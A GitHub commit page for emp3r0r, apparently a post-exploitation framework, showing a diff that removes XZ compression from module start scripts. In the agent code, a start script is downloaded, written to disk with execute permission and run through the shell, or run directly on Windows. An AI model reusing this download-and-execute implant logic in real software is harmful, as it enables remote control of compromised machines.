Skip to content

Commit

Permalink
fix: module start scripts don't need compression
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Nov 23, 2024
1 parent 17ed290 commit aa4869f
Show file tree
Hide file tree
Showing 2 changed files with 9 additions and 22 deletions.
14 changes: 4 additions & 10 deletions core/lib/agent/mod.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,6 @@ import (
"path/filepath"
"runtime"

"github.com/jm33-m0/arc"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
Expand Down Expand Up @@ -107,16 +106,11 @@ func runStartScript(startScript, modDir string) (string, error) {
if err != nil {
return "", fmt.Errorf("downloading %s: %w", startScript, err)
}
scriptData := payload

// Decompress the payload using XZ
decompressedPayload, err := arc.DecompressXz(payload)
if err != nil {
return "", err
}

log.Printf("Running %s:\n%s...", startScript, decompressedPayload[:100])
log.Printf("Running %s:\n%s...", startScript, scriptData[:100])
if runtime.GOOS == "windows" {
return RunModuleScript(decompressedPayload)
return RunModuleScript(scriptData)
}

// otherwise save the file and run it
Expand All @@ -130,7 +124,7 @@ func runStartScript(startScript, modDir string) (string, error) {
}
scriptPath := filepath.Join(modDir, startScript)
// write script to file
if writeErr := os.WriteFile(scriptPath, decompressedPayload, 0o700); writeErr != nil {
if writeErr := os.WriteFile(scriptPath, scriptData, 0o700); writeErr != nil {
return "", fmt.Errorf("writing %s: %v", startScript, writeErr)
}
cmd := exec.Command(emp3r0r_data.DefaultShell, scriptPath)
Expand Down
17 changes: 5 additions & 12 deletions core/lib/cc/modcustom.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,6 @@ import (

"github.com/fatih/color"
"github.com/google/uuid"
"github.com/jm33-m0/arc"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
Expand Down Expand Up @@ -286,7 +285,7 @@ func readModCondig(file string) (pconfig *ModConfig, err error) {
return
}

// genStartScript reads config.json of a module
// genStartScript reads config.json of a module and generates a start script to invoke the module
func genStartScript(config *ModConfig, outfile string) error {
module_exec_path := fmt.Sprintf("%s/%s/%s", config.Path, config.Name, config.Exec)
var builder strings.Builder
Expand Down Expand Up @@ -318,17 +317,11 @@ func genStartScript(config *ModConfig, outfile string) error {
} else {
builder.WriteString(fmt.Sprintf(" ./%s", config.Exec))
}
defer builder.Reset()
_ = os.WriteFile(outfile+".orig", []byte(builder.String()), 0o600)

// compress start script with XZ
CliPrintInfo("Compressing start script with XZ...")
// compress start script with XZ
compressedData, compressErr := arc.CompressXz([]byte(builder.String()))
if compressErr != nil {
return fmt.Errorf("CompressXz: %v", compressErr)
}

// write compressed data to file
return os.WriteFile(outfile, compressedData, 0o600)
// write to file
return os.WriteFile(outfile, []byte(builder.String()), 0o600)
}

func updateModuleHelp(config *ModConfig) error {
Expand Down

0 comments on commit aa4869f

Please sign in to comment.